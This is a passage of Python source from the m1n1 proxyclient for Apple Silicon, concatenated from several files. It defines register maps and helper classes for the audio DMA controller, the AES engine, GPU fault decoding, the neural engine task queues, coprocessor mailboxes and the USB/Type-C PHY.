ser(self): return [ self.addr & (1<<32)-1, self.addr>>32 & (1<<32)-1, self.length & (1<<32)-1, int(self.flags) ] @classmethod def deser(self, seq): if not len(seq) == 4: raise ValueError return ADMACDescriptor( seq[0] | seq[1] << 32, # addr seq[2], # length (in bytes) **ADMACDescriptorFlags(seq[3]).fields ) class ADMACReportFlags(Register32): UNK1 = 24 UNK2 = 25 UNK4 = 26 # memory access fault? UNK3 = 27 DESC_ID = 7, 0 class ADMACReport(Reloadable): def __init__(self, countval, unk1, flags): self.countval, self.unk1, self.flags = countval, unk1, ADMACReportFlags(flags) def __repr__(self): return f"" def ser(self): return [ self.countval & (1<<32)-1, self.countval>>32 & (1<<32)-1, self.unk1 & (1<<32)-1, int(self.flags) ] @classmethod def deser(self, seq): if not len(seq) == 4: raise ValueError return ADMACReport( seq[0] | seq[1] << 32, # countval seq[2], # unk1 seq[3] # flags ) class ADMACChannel(Reloadable): def __init__(self, parent, channo): self.p = parent self.iface = parent.p.iface self.dart = parent.dart self.regs = parent.regs self.tx = (channo % 2) == 0 self.rx = not self.tx self.ch = channo self._desc_id = 0 self._submitted = {} self._last_report = None self._est_byte_rate = None def reset(self): self.regs.CHAN_CTL[self.ch].set(RESET_RINGS=1, CLEAR_OF_UF_COUNTERS=1) self.regs.CHAN_CTL[self.ch].set(RESET_RINGS=0, CLEAR_OF_UF_COUNTERS=0) self.burstsize = 0xc0_0060 self.buswidth = E_BUSWIDTH.W_32BIT self.framesize = E_FRAME.F_1_WORD def enable(self): self.regs.CHAN_INTMASK[self.ch, 0].reg = \ R_CHAN_STATUS(DESC_DONE=1, DESC_RING_EMPTY=1, REPORT_RING_FULL=1, RING_ERR=1) if self.tx: self.regs.TX_EN.val = 1 << (self.ch//2) else: self.regs.RX_EN.val = 1 << (self.ch//2) def disable(self): if self.tx: self.regs.TX_EN_CLR.val = 1 << (self.ch//2) else: self.regs.RX_EN_CLR.val = 1 << (self.ch//2) @property def buswidth(self): self.regs.CHAN_BUSWIDTH[self.ch].reg.WORD @buswidth.setter def buswidth(self, wordsize): return self.regs.CHAN_BUSWIDTH[self.ch].set(WORD=wordsize) @property def framesize(self): self.regs.CHAN_BUSWIDTH[self.ch].reg.FRAME @framesize.setter def framesize(self, framesize): return self.regs.CHAN_BUSWIDTH[self.ch].set(FRAME=framesize) @property def burstsize(self): return self.regs.CHAN_BURSTSIZE[self.ch].val @burstsize.setter def burstsize(self, size): self.regs.CHAN_BURSTSIZE[self.ch].val = size @property def sram_carveout(self): reg = self.regs.CHAN_SRAM_CARVEOUT[self.ch].reg return (reg.BASE, reg.SIZE) @sram_carveout.setter def sram_carveout(self, carveout): base, size = carveout self.regs.CHAN_SRAM_CARVEOUT[self.ch].reg = \ R_CARVEOUT(BASE=base, SIZE=size) @property def DESC_WRITE(self): if self.tx: return self.regs.TX_DESC_WRITE[self.ch//2] else: return self.regs.RX_DESC_WRITE[self.ch//2] @property def REPORT_READ(self): if self.tx: return self.regs.TX_REPORT_READ[self.ch//2] else: return self.regs.RX_REPORT_READ[self.ch//2] def can_submit(self): return not self.regs.CHAN_DESC_RING[self.ch].reg.FULL def submit_desc(self, desc): if self.regs.CHAN_DESC_RING[self.ch].reg.FULL: raise Exception(f"ch{self.ch} descriptor ring full") if self.p.debug: print(f"admac: submitting (ch{self.ch}): {desc}", file=sys.stderr) for piece in desc.ser(): self.DESC_WRITE.val = piece self._submitted[desc.flags.DESC_ID] = desc def submit(self, data=None, buflen=None, **kwargs): if self.tx: assert data is not None buflen = len(data) else: assert buflen is not None iova = self.p.get_buffer(buflen) if self.tx: self.p.iowrite(iova, data) self.submit_desc(ADMACDescriptor( iova, buflen, DESC_ID=self._desc_id, NOTIFY=1, **kwargs )) self._desc_id = (self._desc_id + 1) % 256 def read_reports(self): data = bytearray() while not self.regs.CHAN_REPORT_RING[self.ch].reg.EMPTY: pieces = [] for _ in range(4): pieces.append(self.REPORT_READ.val) report = ADMACReport.deser(pieces) if report.flags.DESC_ID in self._submitted: desc = self._submitted[report.flags.DESC_ID] else: print(f"admac: stray report (ch{self.ch}): {report}", file=sys.stderr) desc = None if self.rx and desc and self.p.dart: data.extend(self.p.ioread(desc.addr, desc.length)) if self.p.debug: if self._last_report and desc: countval_delta = report.countval - self._last_report.countval est_rate = 24e6*desc.length/countval_delta/4 est = f"(estimated rate: {est_rate:.2f} dwords/s)" else: est = "" print(f"admac: picked up (ch{self.ch}): {report} {est}", file=sys.stderr) self._last_report = report return data if self.rx else None @property def status(self): return self.regs.CHAN_STATUS[self.ch, 0].reg def poll(self, wait=True): while not (self.status.DESC_DONE or self.status.RING_ERR): time.sleep(0.001) if not wait: break self.regs.CHAN_STATUS[self.ch,0].reg = R_CHAN_STATUS(DESC_DONE=1) if self.status.RING_ERR: if self.p.debug: print(f"STATUS={self.regs.CHAN_STATUS[self.ch,1].reg} " + \ f"REPORT_RING={self.regs.CHAN_DESC_RING[self.ch]} " + \ f"DESC_RING={self.regs.CHAN_REPORT_RING[self.ch]}", file=sys.stderr) self.regs.CHAN_DESC_RING[self.ch].set(ERR=1) self.regs.CHAN_REPORT_RING[self.ch].set(ERR=1) return self.read_reports() class ADMAC(Reloadable): def __init__(self, u, devpath, dart=None, dart_stream=2, reserved_size=4*1024*1024, debug=False): self.u = u self.p = u.proxy self.debug = debug if type(devpath) is str: adt_node = u.adt[devpath] # ADT's #dma-channels counts pairs of RX/TX channel, so multiply by two self.nchans = adt_node._properties["#dma-channels"] * 2 self.base, _ = adt_node.get_reg(0) else: self.base = devpath self.nchans = 26 self.regs = ADMACRegs(u, self.base) self.dart, self.dart_stream = dart, dart_stream if dart is not None: resmem_phys = u.heap.memalign(128*1024, reserved_size) self.resmem_iova = self.dart.iomap(dart_stream, resmem_phys, reserved_size) self.resmem_size = reserved_size self.resmem_pos = 0 self.dart.invalidate_streams(1 << dart_stream) self.chans = [ADMACChannel(self, no) for no in range(self.nchans)] def ioread(self, base, size): assert self.dart is not None return self.dart.ioread(self.dart_stream, base, size) def iowrite(self, base, data): assert self.dart is not None self.dart.iowrite(self.dart_stream, base, data) def fill_canary(self): ranges = self.dart.iotranslate(self.dart_stream, self.resmem_iova, self.resmem_size) assert len(ranges) == 1 start, size = ranges[0] self.p.memset8(start, 0xba, size) def get_buffer(self, size): assert size < self.resmem_size if self.resmem_pos + size > self.resmem_size: self.resmem_pos = 0 bufptr = self.resmem_iova + self.resmem_pos self.resmem_pos += size return bufptr m1n1-1.4.11/proxyclient/m1n1/hw/aes.py000066400000000000000000000052421453754430200172600ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ..utils import * from enum import IntEnum from .dart import DART, DARTRegs import struct from enum import IntEnum class AES_OPCODE(IntEnum): # 0 triggers an invalid command interrupt SET_KEY = 1 SET_IV = 2 # 0x03 seems to take three additional argument, function unknown # 0x04 seems to take one additional argument, function unknown CRYPT = 5 GET_IV = 6 # 0x07 takes one additional argument, function unknown BARRIER = 8 # can be used to trigger an IRQ but possibly also does more # > 8 trigger an invalid command interrupt class AES_SET_KEY_LEN(IntEnum): AES128 = 0 AES192 = 1 AES256 = 2 class AES_SET_KEY_BLOCK_MODE(IntEnum): ECB = 0 CBC = 1 CTR = 2 class AESCommandBase(Register32): OPCODE = 31, 28, AES_OPCODE class AESHwKey(IntEnum): SOFTWARE = 0 UID = 1 # unique key for each chip GID0 = 2 # (probably) globally unique key within a chip family GID1 = 3 # globally unique key within a chip family # 4-7 are probably empty / reserved for future use class AESSetKeyCommand(AESCommandBase): OPCODE = 31, 28, Constant(AES_OPCODE.SET_KEY) SLOT = 27, 27 KEY_SELECT = 26, 24 KEYLEN = 23, 22, AES_SET_KEY_LEN # setting bit 21 breaks the engine and sets two bits in the IRQ status ENCRYPT = 20, 20 KEYGEN = 19, 18 BLOCK_MODE = 17, 16, AES_SET_KEY_BLOCK_MODE # 15, 0 doesn't seem to have any effect class AESCryptCommand(AESCommandBase): OPCODE = 31, 28, Constant(AES_OPCODE.CRYPT) KEY_SLOT = 27, 27 IV_SLOT = 26, 25 LEN = 24, 0 class AESBarrierCommand(AESCommandBase): OPCODE = 31, 28, Constant(AES_OPCODE.BARRIER) IRQ = 27, 27 class AESGetIVCommand(AESCommandBase): OPCODE = 31, 28, Constant(AES_OPCODE.GET_IV) class AESSetIVCommand(AESCommandBase): OPCODE = 31, 28, Constant(AES_OPCODE.SET_IV) SLOT = 27, 26 class AESIrqReg(Register32): KEY1_EMPTY = 17, 17 KEY1_INVALID = 13, 13 KEY0_EMPTY = 11, 11 KEY0_INVALID = 7, 7 FLAG = 5, 5 UNKNOWN_COMMAND = 2, 2 FIFO_OVERFLOW = 1, 1 class AESControlReg(Register32): START = 0, 0 STOP = 1, 1 CLEAR_FIFO = 2, 2 # TOOD: not convinced about RESET anymore, I remember this un-broke the engine once but I can't reproduce that anymore RESET = 3, 3 class AESFifoStatusReg(Register32): FIFO_WRITE_PTR = 31, 24 FIFO_READ_PTR = 23, 16 FIFO_LEVEL = 15, 8 FIFO_FULL = 2, 2 FIFO_EMPTY = 1, 1 class AESRegs(RegMap): R_CONTROL = 0x08, AESControlReg R_IRQ_STATUS = 0x18, AESIrqReg R_IRQ_ENABLE = 0x1C, AESIrqReg R_FIFO_STATUS = 0x24, AESFifoStatusReg R_CMD_FIFO = 0x200, Register32 m1n1-1.4.11/proxyclient/m1n1/hw/agx.py000066400000000000000000000070211453754430200172640ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ..utils import * from enum import IntEnum __all__ = ["SGXRegs", "SGXRegsT602X", "SGXInfoRegs", "agx_decode_unit", "R_FAULT_INFO"] class FAULT_REASON(IntEnum): INVALID = 0 AF_FAULT = 1 WRITE_ONLY = 2 READ_ONLY = 3 NO_ACCESS = 4 UNK = 5 class R_FAULT_INFO(Register64): ADDR = 63, 30 SIDEBAND = 29, 23 CONTEXT = 22, 17 UNIT = 16, 9 LEVEL = 8, 7 UNK_5 = 6, 5 READ = 4 REASON = 3, 1, FAULT_REASON FAULTED = 0 class SGXRegs(RegMap): FAULT_INFO = 0x17030, R_FAULT_INFO class SGXRegsT602X(RegMap): FAULT_INFO = 0xd8c0, R_FAULT_INFO FAULT_ADDR = 0xd8c8, Register64 class SGXInfoRegs(RegMap): CORE_MASK_0 = 0x1500, Register32, CORE_MASK_1 = 0x1514, Register32, ID_00 = 0x4000, Register32, ID_04 = 0x4004, Register32, ID_08 = 0x4008, Register32, ID_0c = 0x400c, Register32, ID_10 = 0x4010, Register32, ID_14 = 0x4014, Register32, ID_18 = 0x4018, Register32, ID_1c = 0x401c, Register32, ID_8024 = 0x8024, Register32, class UNIT_00(IntEnum): DCMPn = 0x00 UL1Cn = 0x01 CMPn = 0x02 GSL1_n = 0x03 IAPn = 0x04 VCEn = 0x05 TEn = 0x06 RASn = 0x07 VDMn = 0x08 PPPn = 0x09 IPFn = 0x0a IPF_CPFn = 0x0b VFn = 0x0c VF_CPFn = 0x0d ZLSn = 0x0e class UNIT_A0(IntEnum): dPM = 0xa1 dCDM_KS0 = 0xa2 dCDM_KS1 = 0xa3 dCDM_KS2 = 0xa4 dIPP = 0xa5 dIPP_CS = 0xa6 dVDM_CSD = 0xa7 dVDM_SSD = 0xa8 dVDM_ILF = 0xa9 dVDM_ILD = 0xaa dRDE0 = 0xab dRDE1 = 0xac FC = 0xad GSL2 = 0xae GL2CC_META0 = 0xb0 GL2CC_META1 = 0xb1 GL2CC_META2 = 0xb2 GL2CC_META3 = 0xb3 GL2CC_META4 = 0xb4 GL2CC_META5 = 0xb5 GL2CC_META6 = 0xb6 GL2CC_META7 = 0xb7 GL2CC_MB = 0xb8 class UNIT_D0_T602X(IntEnum): gCDM_CS = 0xd0 gCDM_ID = 0xd1 gCDM_CSR = 0xd2 gCDM_CSW = 0xd3 gCDM_CTXR = 0xd4 gCDM_CTXW = 0xd5 gIPP = 0xd6 gIPP_CS = 0xd7 gKSM_RCE = 0xd8 class UNIT_E0_T602X(IntEnum): gPM_SPn = 0xe0 gVDM_CSD_SPn = 0xe1 gVDM_SSD_SPn = 0xe2 gVDM_ILF_SPn = 0xe3 gVDM_TFP_SPn = 0xe4 gVDM_MMB_SPn = 0xe5 gRDE_SPn = 0xe6 class UNIT_E0_T8103(IntEnum): gPM_SPn = 0xe0 gVDM_CSD_SPn = 0xe1 gVDM_SSD_SPn = 0xe2 gVDM_ILF_SPn = 0xe3 gVDM_TFP_SPn = 0xe4 gVDM_MMB_SPn = 0xe5 gCDM_CS_SPn_KS0 = 0xe6 gCDM_CS_SPn_KS1 = 0xe7 gCDM_CS_SPn_KS2 = 0xe8 gCDM_SPn_KS0 = 0xe9 gCDM_SPn_KS1 = 0xea gCDM_SPn_KS2 = 0xeb gIPP_SPn = 0xec gIPP_CS_SPn = 0xed gRDE0_SPn = 0xee gRDE1_SPn = 0xef def agx_decode_unit(v): if v < 0xa0: group = v >> 4 return UNIT_00(v & 0x0f).name.replace("n", str(group)) elif v < 0xd0: return UNIT_A0(v).name elif v < 0xe0: return UNIT_D0_T602X(v).name else: group = (v >> 4) & 1 return UNIT_E0_T8103(v & 0xef).name.replace("n", str(group)) m1n1-1.4.11/proxyclient/m1n1/hw/ane.py000066400000000000000000000133111453754430200172470ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ..utils import * from .dart import DARTRegs import time class ANERegs(RegMap): PMGR1 = 0x738, Register32 PMGR2 = 0x798, Register32 PMGR3 = 0x7f8, Register32 ASC_IO_RVBAR = 0x1050000, Register32 ASC_EDPRCR = 0x1010310, Register32 # 24hz clocks, counter at +4 CLK0 = 0x1160008, Register32 CTR0 = 0x116000c, Register32 CLK1 = 0x1168008, Register32 CTR1 = 0x116800c, Register32 CLK2 = 0x1170000, Register32 CTR2 = 0x1170004, Register32 CLK3 = 0x1178000, Register32 CTR3 = 0x1178004, Register32 VERS = 0x1840000, Register32 # for acks w/ rtkit GPIO0 = 0x1840048, Register32 GPIO1 = 0x184004c, Register32 GPIO2 = 0x1840050, Register32 GPIO3 = 0x1840054, Register32 GPIO4 = 0x1840058, Register32 GPIO5 = 0x184005c, Register32 GPIO6 = 0x1840060, Register32 GPIO7 = 0x1840064, Register32 class ANEDARTRegs(DARTRegs): UNK_CONFIG_68 = 0x68, Register32 UNK_CONFIG_6c = 0x6c, Register32 class R_TQINFO(Register32): UNK = 31, 16 NID = 15, 0 class TaskQueue(RegMap): STATUS = irange(0x00, 8, 0x148), Register32 PRTY = irange(0x10, 8, 0x148), Register32 FREE_SPACE = irange(0x14, 8, 0x148), Register32 TQINFO = irange(0x1c, 8, 0x148), R_TQINFO BAR1 = (irange(0x20, 8, 0x148), irange(0x0, 0x20, 4)), Register32 REQ_NID1 = irange(0xa0, 8, 0x148), Register32 REQ_SIZE2 = irange(0xa4, 8, 0x148), Register32 REQ_ADDR2 = irange(0xa8, 8, 0x148), Register32 BAR2 = (irange(0xac, 8, 0x148), irange(0x0, 0x20, 4)), Register32 REQ_NID2 = irange(0x12c, 8, 0x148), Register32 REQ_SIZE1 = irange(0x130, 8, 0x148), Register32 REQ_ADDR1 = irange(0x134, 8, 0x148), Register32 class R_REQINFO(Register32): TDSIZE = 31, 16 TDCOUNT = 15, 0 class R_IRQINFO(Register32): CNT = 31, 24 NID = 23, 16 UNK1 = 15, 8 UNK2 = 7, 0 class TMRegs(RegMap): REQ_ADDR = 0x0, Register32 REQ_INFO = 0x4, R_REQINFO REQ_PUSH = 0x8, Register32 TQ_EN = 0xc, Register32 IRQ_EVT1_CNT = 0x14, Register32 IRQ_EVT1_DAT_INFO = 0x18, R_IRQINFO IRQ_EVT1_DAT_UNK1 = 0x1c, Register32 IRQ_EVT1_DAT_TIME = 0x20, Register32 IRQ_EVT1_DAT_UNK2 = 0x24, Register32 IRQ_EVT2_CNT = 0x28, Register32 IRQ_EVT2_DAT_INFO = 0x2c, R_IRQINFO IRQ_EVT2_DAT_UNK1 = 0x30, Register32 IRQ_EVT2_DAT_TIME = 0x34, Register32 IRQ_EVT2_DAT_UNK2 = 0x38, Register32 COMMIT_INFO = 0x44, Register32 TM_STATUS = 0x54, Register32 UNK_IRQ_EN1 = 0x68, Register32 UNK_IRQ_ACK = 0x6c, Register32 UNK_IRQ_EN2 = 0x70, Register32 class ANETaskManager: TQ_COUNT = 8 TQ_WIDTH = 0x148 tq_prty = (0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x1e, 0x1f) def __init__(self, ane): self.u = ane.u self.p = ane.p self.TM_BASE_ADDR = ane.base_addr + 0x1c00000 + 0x24000 self.TQ_BASE_ADDR = ane.base_addr + 0x1c00000 + 0x25000 self.regs = TMRegs(self.u, self.TM_BASE_ADDR) self.tq = TaskQueue(self.u, self.TQ_BASE_ADDR) def reset(self): # these reset with ANE_SET pds self.regs.TQ_EN.val = 0x3000 # set priority param for each queue for qid, prty in enumerate(self.tq_prty): self.tq.PRTY[qid].val = self.tq_prty[qid] self.regs.UNK_IRQ_EN1.val = 0x4000000 # enable irq self.regs.UNK_IRQ_EN2.val = 0x6 # enable irq def enqueue_tq(self, req): qid = req.qid if not ((qid >= 1) and (qid < self.TQ_COUNT)): raise ValueError('1 <= qid <= 7') if not (self.tq.PRTY[qid].val == self.tq_prty[qid]): raise ValueError('invalid priority setup for tq %d' % qid) print('enqueueing task w/ fifo 0x%x to tq %d' % (req.fifo_iova, qid)) self.tq.STATUS[qid].val = 0x1 # in use for bdx, iova in enumerate(req.bar): if (iova): print("bar %d: 0x%x" % (bdx, iova)) self.tq.BAR1[qid, bdx].val = iova self.tq.REQ_SIZE1[qid].val = ((req.td_size << 0xe) + 0x1ff0000) & 0x1ff0000 self.tq.REQ_ADDR1[qid].val = req.fifo_iova & 0xffffffff self.tq.REQ_NID1[qid].val = (req.nid & 0xff) << 8 | 1 def execute_tq(self, req): qid = req.qid print('arbitered tq %d; pushing to execution queue...' % qid) # transfer to main queue (now in in TM range) self.regs.REQ_ADDR.val = self.tq.REQ_ADDR1[qid].val # doesnt go through if 0 self.regs.REQ_INFO.val = self.tq.REQ_SIZE1[qid].val | req.td_count # let's do magic self.regs.REQ_PUSH.val = self.tq_prty[qid] | (qid & 7) << 8 self.get_tm_status() self.get_committed_info() self.irq_handler() self.tq.STATUS[qid].val = 0x0 # done def get_tm_status(self, max_timeouts=100, interval=0.01): for n in range(max_timeouts): status = self.regs.TM_STATUS.val success = (status & 1) != 0 print('tm status: 0x%x, success: %r' % (status, success)) if (success): return success time.sleep(interval) print('timeout, tm is non-idle! status: 0x%x' % status) return success def get_committed_info(self): committed_nid = self.regs.COMMIT_INFO.val >> 0x10 & 0xff print('pushed td w/ nid 0x%x to execution' % committed_nid) def irq_handler(self): line = 0 evtcnt = self.regs.IRQ_EVT1_CNT.val print('irq handler: LINE %d EVTCNT: %d' % (line, evtcnt)) for evt_n in range(evtcnt): # needs to be cleared info = self.regs.IRQ_EVT1_DAT_INFO.val unk1 = self.regs.IRQ_EVT1_DAT_UNK1.val tmstmp = self.regs.IRQ_EVT1_DAT_TIME.val unk2 = self.regs.IRQ_EVT1_DAT_UNK2.val print('irq handler: LINE %d EVT %d: executed info 0x%x @ 0x%x' % (line, evt_n, info, tmstmp)) self.regs.UNK_IRQ_ACK.val = self.regs.UNK_IRQ_ACK.val | 2 line = 1 evtcnt = self.regs.IRQ_EVT2_CNT.val print('irq handler: LINE %d EVTCNT: %d' % (line, evtcnt)) for evt_n in range(evtcnt): # needs to be cleared info = self.regs.IRQ_EVT2_DAT_INFO.val unk1 = self.regs.IRQ_EVT2_DAT_UNK1.val tmstmp = self.regs.IRQ_EVT2_DAT_TIME.val unk2 = self.regs.IRQ_EVT2_DAT_UNK2.val print('irq handler: LINE %d EVT %d: executed info 0x%x @ 0x%x' % (line, evt_n, info, tmstmp)) m1n1-1.4.11/proxyclient/m1n1/hw/asc.py000066400000000000000000000054171453754430200172620ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ..utils import * import time class R_MBOX_CTRL(Register32): FIFOCNT = 23, 20 OVERFLOW = 18 EMPTY = 17 FULL = 16 RPTR = 15, 12 WPTR = 11, 8 ENABLE = 0 class R_CPU_CONTROL(Register32): RUN = 4 class R_CPU_STATUS(Register32): IDLE = 5 FIQ_NOT_PEND = 3 # guess IRQ_NOT_PEND = 2 # guess STOPPED = 1 RUNNING = 0 class R_INBOX1(Register64): EP = 7, 0 class R_OUTBOX1(Register64): OUTCNT = 56, 52 INCNT = 51, 48 OUTPTR = 47, 44 INPTR = 43, 40 EP = 7, 0 class ASCRegs(RegMap): CPU_CONTROL = 0x0044, R_CPU_CONTROL CPU_STATUS = 0x0048, R_CPU_STATUS INBOX_CTRL = 0x8110, R_MBOX_CTRL OUTBOX_CTRL = 0x8114, R_MBOX_CTRL INBOX0 = 0x8800, Register64 INBOX1 = 0x8808, R_INBOX1 OUTBOX0 = 0x8830, Register64 OUTBOX1 = 0x8838, R_OUTBOX1 class ASC: def __init__(self, u, asc_base): self.u = u self.p = u.proxy self.iface = u.iface self.asc = ASCRegs(u, asc_base) self.verbose = 0 self.epmap = {} def recv(self): if self.asc.OUTBOX_CTRL.reg.EMPTY: return None, None msg0 = self.asc.OUTBOX0.val msg1 = R_INBOX1(self.asc.OUTBOX1.val) if self.verbose >= 3: print(f"< {msg1.EP:02x}:{msg0:#x}") return msg0, msg1 def send(self, msg0, msg1): self.asc.INBOX0.val = msg0 self.asc.INBOX1.val = msg1 if self.verbose >= 3: if isinstance(msg0, Register): print(f"> {msg1.EP:02x}:{msg0}") else: print(f"> {msg1.EP:02x}:{msg0:#x}") while self.asc.INBOX_CTRL.reg.FULL: pass def is_running(self): return not self.asc.CPU_STATUS.reg.STOPPED def boot(self): self.asc.CPU_CONTROL.set(RUN=1) def shutdown(self): self.asc.CPU_CONTROL.set(RUN=0) def add_ep(self, idx, ep): self.epmap[idx] = ep setattr(self, ep.SHORT, ep) def has_messages(self): return not self.asc.OUTBOX_CTRL.reg.EMPTY def work_pending(self): while self.has_messages(): self.work() def work(self): if self.asc.OUTBOX_CTRL.reg.EMPTY: return True msg0, msg1 = self.recv() handled = False ep = self.epmap.get(msg1.EP, None) if ep: handled = ep.handle_msg(msg0, msg1) if not handled: print(f"unknown message: {msg0:#16x} / {msg1}") return handled def work_forever(self): while self.work(): pass def work_for(self, timeout): deadline = time.time() + timeout while time.time() < deadline: self.work() m1n1-1.4.11/proxyclient/m1n1/hw/atc.py000066400000000000000000000363731453754430200172700ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from enum import IntEnum from m1n1.utils import * class R_USB2PHY_USBCTL(Register32): MODE_HOST = 1 MODE_ISOLATION = 2 class R_USB2PHY_CTL(Register32): RESET = 0 PORT_RESET = 1 APB_RESETN = 2 SIDDQ = 3 class R_USB2PHY_SIG(Register32): VBUSDET_FORCE_VAL = 0 VBUSDET_FORCE_EN = 1 VBUSVLDEXT_FORCE_VAL = 2 VBUSVLDEXT_FORCE_EN = 3 MODE_HOST = 19, 12 class R_USB2PHY_MISCTUNE(Register32): APBCLK_GATE_OFF = 29 REFCLK_GATE_OFF = 30 class Usb2PhyRegs(RegMap): USB2PHY_USBCTL = 0x00, R_USB2PHY_USBCTL USB2PHY_CTL = 0x04, R_USB2PHY_CTL USB2PHY_SIG = 0x08, R_USB2PHY_SIG USB2PHY_MISCTUNE = 0x1C, R_USB2PHY_MISCTUNE class R_AUSPLL_DCO_EFUSE_SPARE(Register32): RODCO_ENCAP_EFUSE = 10, 9 RODCO_BIAS_ADJUST_EFUSE = 14, 12 class R_AUSPLL_FRACN_CAN(Register32): DLL_START_CAPCODE = 18, 17 class R_AUSPLL_FSM_CTRL(Register32): APBREQ_OVSEL = 21, 13 class R_AUSPLL_CMD_OVERRIDE(Register32): APB_OVERRIDE = 28 class R_AUSPLL_CLKOUT_DTC_VREG(Register32): DTC_VREG_ADJUST = 16, 14 class R_AUS_COMMON_SHIM_BLK_VREG(Register32): VREG_TRIM = 6, 2 class R_CIO3PLL_CLK_CTRL(Register32): PCLK_EN = 1 REFCLK_EN = 5 class R_CIO3PLL_DCO_NCTRL(Register32): DCO_COARSEBIN_EFUSE0 = 6, 0 DCO_COARSEBIN_EFUSE1 = 23, 17 class R_CIO3PLL_FRACN_CAN(Register32): DLL_CAL_START_CAPCODE = 18, 17 class R_CIO3PLL_DTC_VREG(Register32): DTC_VREG_ADJUST = 16, 14 class E_ACIOPHY_CROSSBAR_PROTOCOL(IntEnum): USB4 = 0 USB3 = 5 USB3_DP = 8 DP = 10 class R_ACIOPHY_CROSSBAR(Register32): PROTOCOL_SWAPPED = 0 PROTOCOL = 4, 1, E_ACIOPHY_CROSSBAR_PROTOCOL DPMODE = 17, 5 class E_ACIOPHY_LANE_MODE(IntEnum): USB4 = 0 USB3 = 1 DP = 2 OFF = 3 class R_ACIOPHY_LANE_MODE(Register32): RX0 = 2, 0, E_ACIOPHY_LANE_MODE TX0 = 5, 3, E_ACIOPHY_LANE_MODE RX1 = 8, 6, E_ACIOPHY_LANE_MODE TX1 = 11, 9, E_ACIOPHY_LANE_MODE class R_ATCPHY_POWER(Register32): SLEEP_SMALL = 0 SLEEP_BIG = 1 CLAMP_EN = 2 APB_RESET_N = 3 PHY_RESET_N = 4 class R_ATCPHY_MISC(Register32): RESET_N = 0 LANE_SWAP = 2 class R_AUSPMA_TX_SHM_TXA_CFG_MAIN_REG0(Register32): PMA_TXA_BYTECLK_RESET_SYNC_EN_OV = 2 PMA_TXA_BYTECLK_RESET_SYNC_EN = 3 PMA_TXA_BYTECLK_RESET_SYNC_CLR_OV = 4 PMA_TXA_BYTECLK_RESET_SYNC_CLR = 5 PMA_TXA_BYTECLK_RESET_SYNC_SEL_OV = 6 class R_AUSPMA_TX_SHM_TXA_CFG_MAIN_REG1(Register32): PMA_TXA_DIV2_EN_OV = 8 PMA_TXA_DIV2_EN = 9 PMA_TXA_DIV2_RESET_OV = 10 PMA_TXA_DIV2_RESET = 11 PMA_TXA_CLK_EN_OV = 22 PMA_TXA_CLK_EN = 23 class R_AUSPMA_TX_SHM_TXA_IMP_REG0(Register32): PMA_TXA_CAL_CTRL_OV = 0 PMA_TXA_CAL_CTRL = 18, 1 PMA_TXA_CAL_CTRL_BASE_OV = 19 PMA_TXA_CAL_CTRL_BASE = 23, 20 PMA_TXA_HIZ_OV = 29 PMA_TXA_HIZ = 30 class R_AUSPMA_TX_SHM_TXA_IMP_REG2(Register32): PMA_TXA_MARGIN_OV = 0 PMA_TXA_MARGIN = 18, 1 PMA_TXA_MARGIN_2R_OV = 19 PMA_TXA_MARGIN_2R = 20 class R_AUSPMA_TX_SHM_TXA_IMP_REG3(Register32): PMA_TXA_MARGIN_POST_OV = 0 PMA_TXA_MARGIN_POST = 10, 1 PMA_TXA_MARGIN_POST_2R_OV = 11 PMA_TXA_MARGIN_POST_2R = 12 PMA_TXA_MARGIN_POST_4R_OV = 13 PMA_TXA_MARGIN_POST_4R = 14 PMA_TXA_MARGIN_PRE_OV = 15 PMA_TXA_MARGIN_PRE = 21, 16 PMA_TXA_MARGIN_PRE_2R_OV = 22 PMA_TXA_MARGIN_PRE_2R = 23 PMA_TXA_MARGIN_PRE_4R_OV = 24 PMA_TXA_MARGIN_PRE_4R = 25 class R_AUSPMA_TX_SHM_TXA_LDOCLK(Register32): PMA_TXA_LDOCLK_BYPASS_SML_OV = 8 PMA_TXA_LDOCLK_BYPASS_SML = 9 PMA_TXA_LDOCLK_BYPASS_BIG_OV = 10 PMA_TXA_LDOCLK_BYPASS_BIG = 11 PMA_TXA_LDOCLK_EN_SML_OV = 12 PMA_TXA_LDOCLK_EN_SML = 13 PMA_TXA_LDOCLK_EN_BIG_OV = 14 PMA_TXA_LDOCLK_EN_BIG = 15 class R_AUSPMA_RX_SHM_TJ_RXA_CTLE_CTRL0(Register32): PMA_RXA_TX_CLK_EN = 20 PMA_RXA_TX_CLK_EN_OV = 21 class R_AUSPMA_RX_SHM_TJ_RXA_AFE_CTRL1(Register32): CLK_LANE_RX_DIV20_SYNC_RESET_N_OV = 29 CLK_LANE_RX_DIV20_SYNC_RESET_N_VAL = 30 class R_AUSPMA_RX_SHM_TJ_RXA_DFE_CTRL10(Register32): PMA_RXA_DTVREG_ADJUST = 31, 27 class R_AUSPMA_RX_SHM_TJ_RXA_DFE_CTRL11(Register32): PMA_RXA_DTVREG_BIG_EN = 23 PMA_RXA_DTVREG_BIG_EN_OV = 24 PMA_RXA_DTVREG_SML_EN = 25 PMA_RXA_DTVREG_SML_EN_OV = 26 class R_AUSPMA_RX_SHM_TJ_RXA_DFE_CTRL12(Register32): PMA_RXA_TX_BYTECLK_RESET_SYNC_CLR = 22 PMA_RXA_TX_BYTECLK_RESET_SYNC_CLR_OV = 23 PMA_RXA_TX_BYTECLK_RESET_SYNC_EN = 24 PMA_RXA_TX_BYTECLK_RESET_SYNC_EN_OV = 25 PMA_RXA_TX_HRCLK_SEL = 28 PMA_RXA_TX_HRCLK_SEL_OV = 29 PMA_RXA_TX_PBIAS_EN = 30 PMA_RXA_TX_PBIAS_EN_OV = 31 class R_AUSPMA_RX_SHM_TJ_RXA_DFE_CTRL13(Register32): PMA_RXA_TX_PRE_EN = 0 PMA_RXA_TX_PRE_EN_OV = 1 PMA_RXA_TX_PST1_EN = 2 PMA_RXA_TX_PST1_EN_OV = 3 PMA_RXA_DTVREG_ADJUST_OV = 15 class R_AUSPMA_RX_SHM_TJ_RXA_SAVOS_CTRL16(Register32): PMA_RXA_RXTERM_EN = 21 PMA_RXA_RXTERM_EN_OV = 22 PMA_RXA_RXTERM_PULLUP_LEAK_EN = 23 PMA_RXA_RXTERM_PULLUP_LEAK_EN_OV = 24 PMA_RXA_TX_CAL_CODE = 29, 25 